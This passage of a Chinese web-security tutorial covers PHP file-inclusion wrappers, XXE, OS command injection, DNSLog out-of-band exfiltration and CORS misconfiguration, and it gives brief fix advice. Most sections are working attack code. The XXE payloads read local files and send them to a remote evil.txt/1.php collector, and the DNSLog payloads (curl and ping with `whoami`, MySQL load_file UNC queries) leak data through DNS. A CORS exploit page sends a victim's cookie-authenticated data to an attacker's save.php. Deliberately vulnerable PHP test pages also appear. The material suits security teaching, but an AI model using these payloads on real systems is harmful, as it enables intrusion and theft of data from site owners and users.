allow_url_fopen :on(官网是说不受allow_url_fopen影响,经过测试这个要为On,才能造成任意代码执行)
allow_url_include:on

条件: PHP 5.2.0 起 data://数据流封装器开始有效。

用法:data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

or

http://127.0.0.1/fileinclude.php?filename=data:text/plain,<?php phpinfo();?>

php_protocol_php6

phar://伪协议

php.ini

allow_url_fopen :off/on
allow_url_include:off/on

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: phar:// 数据流包装器自 PHP 5.3.0 起开始有效, 压缩包需要是zip协议压缩,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

php_protocol5

zip://伪协议

php.ini

allow_url_fopen :off/on
allow_url_include:off/on

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.txt。

xxx.png 不管后缀是什么,都会当做zip压缩包来解压。

shell.txt 不管后缀是什么,只要里面有php代码,被include等包含函数包含,都会被执行。

条件:#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

php_protocol_php4

总结

PHP中 allow_url_fopen默认为On,allow_url_include默认为Off

协议 条件 allow_url_fopen allow_url_include
file:// PHP>=5.0.0 off/on off/on
php://filter PHP>=5.0.0 off/on off/on
php://input \ off/on on
zip:// \ off/on off/on
data:// PHP>=5.2.0 on on
phar:// PHP>=5.3.0 off/on off/on

修复建议

参考DVWA。

XML外部实体攻击(XML External Entity attack)

0x00 简介

XML(eXtensible Markup Language)是一种标记语言,被设计用来传输和存储数据。

在XML 1.0标准中定义了实体的概念,实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

包含内部实体的XML文档:

1
2
3
4
5
6
7
8
9
10
11
12
// XML声明
<?xml version="1.0" encoding="utf-8"?>
// 文档类型定义
<!DOCTYPE entity [
<!ENTITY copyright "Copyright www.lxhsec.com">
]>
// 文档元素
<lxhsec>
<internal>&copyright;</internal>
</lxhsec>

包含外部实体的XML文档:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE entity [
<!ENTITY blog SYSTEM "http://www.lxhsec.com/">
]>
<lxhsec>
<external>&blog;</external>
</lxhsec>

在解析XML时,实体将会被替换成相应的引用内容。

XML外部实体(XML External Entity,XXE)攻击是一种常见的Web安全漏洞,攻击者可以通过XML的外部实体获取服务器中本应被保护的数据。

0x01 成因
若WEB应用程序使用了XML进行数据传输,支持解析外部实体,且XML数据可控,则会导致XXE产生。

0x02 利用

这里以PHP为例,讲解XXE漏洞。

在开始之前,我们要了解XML中拥有特殊意义的字符。

HTML实体 字符 说明
& lt; < 小于
& gt; > 大于
& amp; & AND
& apos; 单引号
& quot; 双引号

在 XML 中,只有字符 “<” 和 “&” 是非法的,也就是说如果我们解析的文件中含有< or & ,将导致XML解析出错,例,使用file协议读取文件时,若读取的文件中包含看< or & 将报错。

file协议 - 读取文件

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY lxhsec SYSTEM "file:///c:/windows/win.ini">
]>
<lxhsec>&lxhsec;</lxhsec>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

结果:
xxe1

注:如果读取的文件本身包含“<”、“&”等字符时会产生失败的情况,对于此类文件可以使用Base64编码绕过,具体方法如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY lxhsec SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
]>
<lxhsec>&lxhsec;</lxhsec>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

结果:
xxe4

ps: php://filter 读取文件,支持相对路径。

HTTP(s)协议 - 探测内网端口

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY lxhsec SYSTEM "http://192.168.31.132:80/xxxx">
]>
<lxhsec>&lxhsec;</lxhsec>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

结果:

端口开放
xxe2

端口关闭
xxe3

通过返回不同的状态信息来判断端口开放情况,另外http(s)协议可以用来发起GET请求,攻击内网WEB应用程序,例如struts2.

上述代码,都是基于回显的利用,如果屏蔽了回显是不是就不能利用了呢?

当然不是,可以把数据发送到远程服务器。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://192.168.31.232/evil.txt">
%remote;
%send;
]>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml);
#print_r($data);
?>

实体remote,send的引用顺序很重要,首先对remote引用的目的是将外部文件evil.txt引入到解释上下文中,然后执行%all,这时会检测到send实体,之后执行%send,请求远程1.php文件,将内容传递过去。

远程evil.txt文件内容如下:

1
2
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.31.232/1.php?file=%file;'>">
%all;

这里要注意 % send 中的%号要使用HTML实体编码,否则将报错。
xxeremote1

当然如果想去掉%号,不想用参数实体,可以直接在xml中多增加一行文档元素,用来解析实体,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://192.168.31.232/evil.txt">
%remote;
]>
<root>&send;</root>
EOF;
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml);
#print_r($data);
?>
//evil.txt
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.31.232/1.php?file=%file;'>">
%all;

远程1.php文件内容如下:

1
2
3
<?php
file_put_contents("1111.txt", $_GET['file']);
?>

触发XXE攻击后,服务器会把文件内容发送到攻击者网站,攻击者WEB应用程序再将文件内容保存在txt中。

xxeremote4

xxeremote3

xxeremote3

修复建议

1.在解析XML之前添加,禁用外部实体的方法。

PHP:
libxml_disable_entity_loader(true);

2.过滤XML数据

如,SYSTEM和PUBLIC

命令执行(OS Commanding)

0x01 前言
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。

0x02 成因
WEB应用程序在调用命令执行函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。

0x03 利用
先来了解下几个特殊的符号。

Windows :
| - 前一个命令的输出,作为后一个命令的输入,显示后面的执行结果
windows1

|| - 当前面为假时,才会执行后面的命令
windows2

& - 无论前面结果如何,都会执行后面的命令
windows3

&& - 当前面为真时,才会执行后面的命令。
windows4

Linux:
; - 顺序执行,从左到右
linux1

| - 前一个命令的输出,作为后一个命令的输入,显示后面的执行结果
linux2

|| - 当前面为假时,才会执行后面的命令
linux3

& - 无论前面结果如何,都会执行后面的命令
linux4

&& - 当前面为真时,才会执行后面的命令。
linux5

小结:Linux与Windows用法基本一致,Linux多了一个分号符号。

这里以PHP介绍命令执行漏洞。

测试代码:

1
2
3
4
5
<?php
$target = $_GET[ 'cmd' ];
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
?>

测试结果:
oscommand

分析
在测试代码中,原意是想测试网络的情况,但是因为参数可控,且我们没有过滤用户的输入,因此在测试结果中我们可以看到成功执行了whoami命令,导致了命令执行漏洞的产生。

在PHP中常见可控位置情况有下面几种:

1
2
3
4
5
system("$arg"); //可控点直接是待执行的程序
system("/bin/prog $arg"); //可控点是传入程序的整个参数
system("/bin/prog -p $arg"); //可控点是传入程序的某个参数的值(无引号包裹)
system("/bin/prog --p=\"$arg\""); //可控点是传入程序的某个参数的值(有双引号包裹)
system("/bin/prog --p='$arg'"); //可控点是传入程序的某个参数的值(有单引号包裹)

第一种情况
如果我们能直接控制$arg,那么就能执行执行任意命令了,没太多好说的。
第二种情况
我们能够控制的点是程序的整个参数,我们可以直接用&&或|等等,利用与、或、管道命令来执行其他命令(可以涉及到很多linux命令行技巧)。
还有一个偏门情况,当$arg被escapeshellcmd处理之后,我们不能越出这个外部程序的范围,我们可以看看这个程序自身是否有”执行外部命令”的参数或功能,比如linux下的sendmail命令自带读写文件功能,我们可以用来写webshell。
第三种情况
我们控制的点是一个参数,我们也同样可以利用与、或、管道来执行其他命令,情境与二无异。
第四种情况
这种情况压力大一点,有双引号包裹。如果引号没有被转义,我们可以先闭合引号,成为第三种情况后按照第三种情况来利用,如果引号被转义(addslashes),我们也不必着急。linux shell环境下双引号中间的变量也是可以被解析的。我们可以在双引号内利用反引号执行任意命令.
第五种情况
这是最难受的一种情况了,因为单引号内只是一个字符串,我们要先闭合单引号才可以执行命令。如:system(“/bin/prog –p=’aaa’ | id’’”)

危害自然不言而喻,执行命令可以读写文件、反弹shell、获得系统权限、内网渗透等。

在PHP中可以调用外部程序的主要有以下函数:

1
2
3
4
5
6
system
exec
shell_exec = ``(反单引号)
passthru
popen
proc_popen

system

说明:

1
2
3
4
5
6
7
string system ( string $command [, int $return_var ] )
command 要执行的命令。
return_var 命令执行成功,返回0,失败返回1.(可选参数)
返回值:
成功则返回命令输出的最后一行, 失败则返回 FALSE

测试代码:

1
2
3
4
5
6
//ip.php
<?php
$target=$_GET['cmd'];
$return = system($target);
echo "<pre>system return value is: $return </pre>";
?>

结果:
http://127.0.0.1/ip.php?cmd=type ip.php

1
2
3
4
5
<?php
$target=$_GET['cmd'];
$return = system($target);
echo "<pre>system return value is: $return </pre>";
?><pre>system return value is: ?> </pre>

exec

说明

1
2
3
4
5
6
7
8
9
10
11
string exec ( string $command [, array $output [, int $return_var ]] )
command 要执行的命令。
output 会使用返回结果填充output;如果output参数中已经有元素,exec()会在output后面追加。
return_var 如果同时提供 output 和 return_var 参数,命令执行后的返回状态会被写入到此变量。
命令执行成功,返回0,失败返回1.
返回值:
成功则返回命令输出的最后一行

测试代码:

1
2
3
4
5
6
7
8
<?php
exec('whoami',$arr);
var_dump($arr);
echo "<br />";
echo exec('netstat -ano | findstr 3306',$arr); // 返回命令输出的最后一行。
echo "<br />";
var_dump($arr);
?>

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
array(1) {
[0]=>
string(29) "lxhsec1-2688b1f\administrator"
}
<br /> TCP 127.0.0.1:3306 127.0.0.1:2143 ESTABLISHED 1020<br />array(4) {
[0]=>
string(29) "lxhsec1-2688b1f\administrator"
[1]=>
string(75) " TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1020"
[2]=>
string(75) " TCP 127.0.0.1:2143 127.0.0.1:3306 ESTABLISHED 3852"
[3]=>
string(75) " TCP 127.0.0.1:3306 127.0.0.1:2143 ESTABLISHED 1020"
}

shell_exec

说明

1
2
3
4
5
6
7
8
9
10
string shell_exec ( string $cmd )
cmd 要执行的命令。
返回值
命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
Note: PHP 支持一个执行运算符:反引号(``),
PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回.
使用反引号运算符"`"的效果与函数 shell_exec() 相同

测试代码:

1
2
3
<?php
echo shell_exec("whoami");
?>

结果:

1
lxhsec1-2688b1f\administrator

passthru

说明

1
2
3
4
5
6
7
void passthru ( string $command [, int $return_var ] )
command 要执行的命令。
return_var 命令执行成功,返回0,失败返回1.(可选参数)
没有返回值。

测试代码:

1
2
3
4
<?php
passthru("whoami",$return);
echo $return;
?>

结果:

1
2
lxhsec1-2688b1f\administrator
0

popen

说明

1
2
3
4
5
6
7
8
9
10
11
12
13
resource popen ( string $command , string $mode )
command 要执行的命令。
mode 模式,
r: 只读,返回的文件指针等于命令的STDOUT(命令的输出)
w: 只写(打开并清空已有文件或创建一个新文件),返回的文件指针等于命令的STDIN
返回值
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向
的(只能用于读或写)并且必须用 pclose() 来关闭。
此指针可以用于 fgets(),fgetss() 和 fwrite()。
如果出错返回 FALSE。

测试代码:

1
2
3
4
<?php
$target = $_GET[ 'cmd' ];
popen( 'ping ' . $target, "r" );
?>

测试结果:
http://127.0.0.1/ip.php?cmd=127.0.0.1 %26 whoami > 222.txt

1
会在ip.php同目录下生成一个222.txt文件,里面记录了whoami的内容

如果想将结果输出到页面上,可以使用下面测试代码

测试代码:

1
2
3
4
5
6
7
8
9
10
<?php
$cmd = "whoami";
$fp = popen($cmd,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道里面取得东西
$out = fgets($fp, 1024);
echo $out; //打印出来
}
pclose($fp);
?>

结果:

1
lxhsec1-2688b1f\administrator

proc_popen

说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
resource proc_open ( string $cmd , array
$descriptorspec , array $pipes [, string $cwd [,
array $env [, array $other_options ]]] )
cmd 要执行的命令。
descriptorspec 一个索引数组。
数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。
0 表示标准输入(stdin),
1 表示标准输出(stdout),
2 表示标准错误(stderr)。
数组值中第一个参数为描述符类型,有效的类型有:pipe 以及file。
pipes
将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。
cwd
要执行命令的初始工作目录。 必须是绝对路径,为 NULL 时,代表当前 PHP 进程的工作目录。
env
要执行的命令所使用的环境变量,为 NULL 时,代表与php进程环境变量相同
other_options
可能的选项包括:
suppress_errors (仅用于 Windows 平台): 设置为 TRUE 表示抑制本函数产生的错误。
bypass_shell (仅用于 Windows 平台): 设置为 TRUE 表示绕过 cmd.exe shell。
返回值
返回表示进程的资源类型,并且必须用 proc_close() 来关闭,如果失败,返回 FALSE。

测试代码:

1
2
3
4
5
6
7
<?php
$target = $_GET[ 'cmd' ];
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
);
proc_open( 'ping ' . $target, $descriptorspec,$pipes);
?>

测试结果:
http://127.0.0.1/ip.php?cmd=127.0.0.1 %26 whoami > 122222.txt

1
2
在上述测试代码中,因为明确指明它的工作目录,因此会在php默认的工作目录中产生122222.txt,
由于环境是phpStudy搭建的,因此默认工作目录是C:\Program Files\phpStudy。

如果想将结果输出到页面上,可以使用下面测试代码

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$cmd = "whoami";
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "./error-output.txt", "a") // 标准错误,写入到一个文件
);
$fp = proc_open($cmd,$descriptorspec,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]);
proc_close($fp);
?>

结果:

1
lxhsec1-2688b1f\administrator

总结

函数 描述
system 输出并返回最后一行shell结果
exec 不输出结果,返回最后一行shell结果,所有结果保存到一个返回的数组里面
shell_exec 将命令结果直接输出
passthru 将命令结果直接输出
popen,proc_open 不会直接返回执行结果,而是返回一个文件指针,返回什么不是关键,重要的是命令已经执行了

DNSLog

0x01 作用

某些漏洞直接利用无法得到回显的情况下,但是目标可以发起DNS请求,这时候可以通过DNSlog将想要获取的数据外带出来。

0x02 原理

DNS解析的基本原理:
DNS

以mysql为例,讲解DNSlog基本原理。

在mysql中 load_file可用于发起DNS请求。

测试payload

1
select load_file(concat('\\\\',(select user()),'.t00ls.org\\abc'));

结果如下:

mysqldnslog

Dnslog攻击的基本原理如下

mysqldnslog

总结来说,当你查询root@localhost.t00ls.org这个子域名时,dns服务器t00ls.org会收到你的解析请求,随后将你外带的值解析出来。

但是由于域名有一定的规范,一些特殊符号’@’,’*’等不能作为域名,因此外带的数据最好进行加密处理,否则将导致数据传输失败,如下:

测试payload

1
select load_file(concat('\\\\',(select hex(user())),'.t00ls.org\\abc'));

结果如下:
mysqldnslog2

另外,payload中带上\\abc,是因为要满足UNC语法。用2个\\是因为转义,本质是:\
UNC路径规定语法:\\servername\sharename
其中servername是服务器名。
sharename是共享资源的名称,也就是abc,
你要访问共享资源就必须跟资源名称。
满足语法要求后系统才会发起DNS请求,抓包就可以看见。

Note:

1
2
因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系
统中的时候,是不能使用这种方式外带数据的

注意,域名前缀长度限制在63个,如果获取的数据超长,可用mid等截取函数进行分段读取,例如:

1
2
3
4
5
6
7
mid(user(),1,4) 截取 user 1,4范围
http://127.0.0.1/sqli.php?id=1' union select 1,load_file(concat('\\\\',(select hex(mid(user(),1,4))),'.t00ls.8c461ff41380308eba69317397ff7cdd.tu4.org\\abc')),3%23
mid(user(),5) 截取 4后面的所有
http://127.0.0.1/sqli.php?id=1' union select 1,load_file(concat('\\\\',(select hex(mid(user(),5))),'.t00ls.8c461ff41380308eba69317397ff7cdd.tu4.org\\abc')),3%23

mysqldnslog3

0x03利用

DNSLog In Mysql Injection

首先查看变量确定权限。
show variables like ‘%secure%’

1、当secure_file_priv为空,可以读取写入文件任意目录。
2、当secure_file_priv为E:\,可以读取写入E盘。
3、当secure_file_priv为null,不允许读取写入文件。
在mysql 5.5.53版本之前默认为空可以加载文件 但是之后版本默认为NULL,会限制函数OUTFILE,LOAD_FILE,DUMP_FIlE等。

解决问题:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

然后重启mysql。

union

1
http://127.0.0.1/sqli.php?id=1' union select 1,load_file(concat('\\\\',(select hex(user())),'.t00ls.org\\abc')),3%23

blind

1
http://127.0.0.1/sqli_blind.php?id=1' and if((select load_file(concat('\\\\',(select hex(version())),'.t00ls.org\\abc'))),sleep(5),0)%23

DNSLog In OS Commanding

Windows:
ping %USERNAME%.t00ls.org
结果:
dnslogos0

Linux:

curl:

1
curl http://`whoami`.t00ls.org/

结果:
dnslogos1

ping:

1
ping `whoami`.t00ls.org

结果:
dnslogos2

DNSLog In XXE

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % lxhsec SYSTEM "http://666.t00ls.xxxxxxx.tu4.org">
%lxhsec;
]>
<lxhsec>root</lxhsec>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

测试结果:
dnslogxxe

总结

1.受操作系统限制,例如UNC在linux下没有。
2.受域名长度限制,必要的时候需要对查询结果做字符串切割。
3.受特殊符号限制,需要进行编码传输。
4.受语法限制,不同数据库之间拼接方式不同。

CORS跨域资源共享(Cross-origin resource sharing)

浏览器的同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。

但是随着Web应用的发展,网站由于自身业务的需求,需要实现一些跨域的功能,能够让不同域的页面之间能够相互访问各自页面的内容。

所以在XMLHttpRequest v2标准下,提出了CORS(Cross Origin Resourse-Sharing)的模型,试图提供安全方便的跨域读写资源。

目前主流浏览器均支持CORS。

测试环境
windows10 : 192.168.43.3 www.hacksb.com
虚拟机Windows2003 : 192.168.70.132 www.lxhsec.com

两台机子上都要配置好hosts文件。

同源策略(Same Origin Policy)

同源策略:
指,域名,协议,端口相同。

同源策略的作用:
保证用户信息的安全,防止恶意的网站窃取数据。不是同源的网站,不能相互读取信息。

ex:
用户登录A站,同时登录了B站,如果A\B不是同源,那么A不能读取B站的数据。

CORS请求方式

CORS的两种请求方式

简单请求

当跨域请求出现时,浏览器会自动在HTTP Request Header中加上Origin字段,
用来告诉服务器这个请求来自哪个源(请求协议+域名+端口),服务器收到请求后,会对比这个字段,如果字段值不在服务器的许可范围内,服务器会返回一个正常的HTTP响应,但是其响应头中不会包含Access-Control-Allow-Origin字段,or(包含Access-Control-Allow-Origin字段 但是其值不等于Origin)浏览器接收到服务端的响应后,会查找是否有Access-Control-Allow-Origin字段,如果没有,or(不匹配请求头的Origin)就会抛出一个异常,提示响应头中没有这个字段,如果这个源在服务器的许可范围内,服务器的响应头会加上以下字段:
Access-Control-Allow-Origin:http://ip:port,必需项, 值为请求头中的Origin的值
Access-Control-Allow-Credentials:true,可选项, 值为boolean, 表示是否允许浏览器发送cookie, 需要在服务器进行配置。
Access-Control-Expose-Headers:
浏览器可以从跨域请求响应头中获取的字段值, 由服务器配置. 默认可以获取Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma这六个字段

请求实例

请求之前 请确保已完成测试环境中的hosts绑定。

md5.php
<?php echo md5(time()); ?>

在windows10上使用谷歌浏览器打开www.hacksb.com网页,并按F12,打开Console,
输入如下代码:

1
2
3
4
var url = 'http://www.lxhsec.com/md5.php';
var xhr = new XMLHttpRequest();
xhr.open('GET', url, 'true');
xhr.send();

访问www.lxhsec.com的资源。
cors1

从www.hacksb.com 访问www.lxhsec.com,浏览器检测到跨域,会自动发送CORS跨域请求,并在header信息中增加一个Origin字段,字段值为:http://www.hacksb.com, 表明这是一个跨域的请求,从http://www.hacksb.com发起的跨域请求。
cors2

服务器收到跨域请求后,不做处理,服务器会返回一个正常的HTTP响应,但是其响应头中不会包含Access-Control-Allow-Origin字段,浏览器接收到服务端的响应后,会查找是否有Access-Control-Allow-Origin字段,如果没有,就会抛出一个异常,提示响应头中没有这个字段,不允许跨域读取。

异常内容:
cors3

注意这种异常无法通过状态码识别,此时HTTP回应的状态码可能是200。
cors4

更改md5.php文件,增加Access-Control-Allow-Origin值:

1
2
3
4
<?php
header("Access-Control-Allow-Origin:http://www.baidu.com");
echo md5(time());
?>

再次请求md5.php,这时服务端统一将Access-Control-Allow-Origin设置成了http://www.baidu.com,当浏览器接收到服务端的响应后,会查找是否有Access-Control-Allow-Origin字段,如果有,则对比是否与请求头中的Origin字段相等,如果不相等,则抛出异常。
异常如下:
cors16

更改md5.php文件,更改Access-Control-Allow-Origin值:

1
2
3
4
5
6
7
8
9
10
<?php
$ORIGIN = $_SERVER['HTTP_ORIGIN'];
//判断Origin字段值是否是在允许的范围内。
if ($ORIGIN == "http://www.hacksb.com"){
header("Access-Control-Allow-Origin:http://www.hacksb.com");
header("Access-Control-Allow-Credentials:true"); //这段代码可以不要。
}
echo md5(time());
?>

再次访问时,控制台就不会报错了。
cors5

跨域请求携带Cookie

当在www.hacksb.com 跨域访问 www.lxhsec.com时,需要携带lxhsec.com的Cookie,需要进行如下配置:

1.lxhsec.com服务端设置Access-Control-Allow-Credentials为true。
header("Access-Control-Allow-Credentials:true");
2.hacksb.com客户端请求时,设置withCredentials属性为true。
xhr.withCredentials = true;

实例:

lxhsec.com准备login.php,md5.php两个文件:

login.php

1
2
3
4
5
6
<?php
//假设此页面需要登录后才能访问
setcookie("SESSIONID","20191261136",time()+3600,"","",0); //设置普通Cookie
setcookie("lxhsec","www.lxhsec.com",time()+3600,"","",0,1);//设置HttpOnly Cookie
?>

md5.php

1
2
3
4
5
6
7
8
9
10
<?php
$ORIGIN = $_SERVER['HTTP_ORIGIN'];
//判断Origin字段值是否是在允许的范围内。
if ($ORIGIN == "http://www.hacksb.com"){
header("Access-Control-Allow-Origin:http://www.hacksb.com");
header("Access-Control-Allow-Credentials:true");
}
echo md5(time());
?>

先访问login.php,设置Cookie。

之后在浏览器跨域请求md5.php,
cors6

可以看到携带了www.lxhsec.com的Cookie值。
cors7

非简单请求

对于非简单请求, 浏览器的CORS请求分为两步,

1.首先是执行预检(preflight)请求, 询问服务器是否允许当前源访问,如果允许, 才会执行实际请求。
预检请求可以缓存(缓存时间由服务器定义),在缓存有效期内再执行CORS请求时无需进行预检请求。

预检请求的请求方式为OPTIONS,表示这个请求是用来询问的,请求头信息包含以下字段:

Origin:请求源
Access-Control-Request-Method:CORS请求会用到的请求方式
Access-Control-Request-Headers:CORS请求会额外发送的请求头字段(可选)

2.如果预检请求正常返回,接下来执行实际请求,在预检请求缓存有效期内,再执行跨域请求时无需进行预检请求。

这里我们发送PUT请求,该请求为非简单请求。
cors8

因此会先发送预检请求,在发送PUT请求,以下为预检请求数据包:
cors9

cors10

服务器收到预检请求后会检查OriginAccess-Control-Request-MethodAccess-Control-Request-Headers(可选)三个字段值以确定是否允许跨域请求,如果任意一项不完全满足则都不允许进行跨域请求。

上述请求,服务器没有允许PUT方法,进行访问,因此浏览器抛出了一个错误。
cors11

更改md5.php,增加header("Access-Control-Allow-Methods:PUT,GET,POST");

1
2
3
4
5
6
7
8
9
10
11
<?php
$ORIGIN = $_SERVER['HTTP_ORIGIN'];
if ($ORIGIN == "http://www.hacksb.com"){
header("Access-Control-Allow-Origin:http://www.hacksb.com");
header("Access-Control-Allow-Credentials:true"); //这段代码,可不要。
header("Access-Control-Allow-Methods:PUT,GET,POST");
echo $_COOKIE["lxhsec"];
}
echo md5(time());
?>

再次访问,成功执行了两次请求:
cors12

如果跨域请求携带了自定义的请求头,则需要在服务端设置允许的请求头,否则预检请求会失败。

1
2
3
4
5
var url = 'http://www.lxhsec.com/md5.php';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();

服务器收到跨域请求后,会查找自定义的请求头X-Custom-Header,如果X-Custom-Header不在服务器的许可范围内 or 服务器没有设置允许的请求头,则返回的HTTP响应中 包含的响应头Access-Control-Request-Headers的值 没有X-Custom-Header or HTTP响应中没有该响应头Access-Control-Request-Headers,浏览器接收到服务端的响应后,就知道错了,从而抛出一个异常,提示响应头中没有X-Custom-Header,不允许跨域读取。

异常内容:
cors13

更改md5.php文件,增加header('Access-Control-Allow-Headers:X-Custom-Header');

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$ORIGIN = $_SERVER['HTTP_ORIGIN'];
if ($ORIGIN == "http://www.hacksb.com"){
header("Access-Control-Allow-Origin:http://www.hacksb.com");
header("Access-Control-Allow-Methods:PUT,GET,POST");
header('Access-Control-Allow-Headers:X-Custom-Header');
//header('Access-Control-Allow-Headers:x-requested-with,content-type,X-Custom-Header');
echo $_COOKIE["lxhsec"];
}
echo md5(time());
?>

再次访问,成功执行了两次请求:
cors14

预检请求的响应中会包含如下字段:

字段 描述 是否必须
Access-Control-Allow-Origin 值为请求头中的Origin的值。 必需项
Access-Control-Allow-Methods 允许跨域请求的请求方式,其值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法,这是为了避免多次预检请求。 必需项
Access-Control-Allow-Credentials 值为boolean, 表示是否允许浏览器发送cookie, 需要在服务器配置。 可选项
Access-Control-Allow-Headers 允许跨域请求额外发送的header字段, 需要在服务器配置。 可选项
Access-Control-Max-Age 用来指定本次预检请求的有效期,单位是秒。 可选项

漏洞形成原理

当CORS的配置不正确时,就会带来安全问题。

下面是一段CORS配置错误的代码,根据请求报文的Origin字段来设置响应报文中Access-Control-Allow-Origin字段的值,且返回了敏感信息phpinfo。

将md5.php更改为如下代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
//cors demo
if(isset($_SERVER["HTTP_ORIGIN"])) {
header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);
header("Access-Control-Allow-Credentials: true");
}
phpinfo();
?>

接下来大黑阔要获取md5.php页面返回的敏感信息。

大黑阔首先在自己的网站hacksb.com下,放置两个文件,exp.html and save.php.

exp.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<h1>你被大黑阔黑啦!!!</h1>
<script type="text/javascript">
function exp(){
var xhr1;
var xhr2;
if(window.XMLHttpRequest){
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
} else{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2 = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange = function(){
if(xhr1.readyState == 4 && xhr1.status == 200) { //if receive xhr1 response
var datas = xhr1.responseText;
xhr2.open("POST","http://www.hacksb.com/save.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("data=" + escape(datas));
}
}
xhr1.open("GET","http://www.lxhsec.com/md5.php","true") //request user page.
xhr1.withCredentials = true; //请求md5.php时,携带lxhsec.com的Cookie进行请求。
xhr1.send();
}
exp();
</script>
</html>

上面代码看不懂的 可以参考下这篇文章

save.php

1
2
3
4
5
6
<?php
$myfile = fopen("userinfo.html", "w+") or die("Unable to open file!");
$txt = $_POST['data'];
fwrite($myfile, $txt);
fclose($myfile);
?>

然后告诉你 老司机开车啦,网址http://www.hacksb.com/exp.html,诱导你点击访问黑阔设置的exp,
当你点击之后,你的信息就被大黑阔保存在userinfo.html文件下。

数据走向:
当你点击exp.html后,接着浏览器会访问敏感信息页面http://www.lxhsec.com/md5.php,然后将md5.php返回的敏感信息 编码 发送到大黑阔服务器上的save.php保存,流程结束,而这时候你还在美滋滋的开车!!!

Notices:
当CORS跨域请求时,我们发现服务端返回的配置信息如下:

1
2
Access-Control-Allow-Credentials:true
Access-Control-Allow-Origin: *

并且需要访问的敏感信息,需要Cookie才能访问时,这个配置是没有漏洞的!!!!因为浏览器会阻止这种配置的跨域请求,并抛出一个异常。

异常信息如下:
cors15

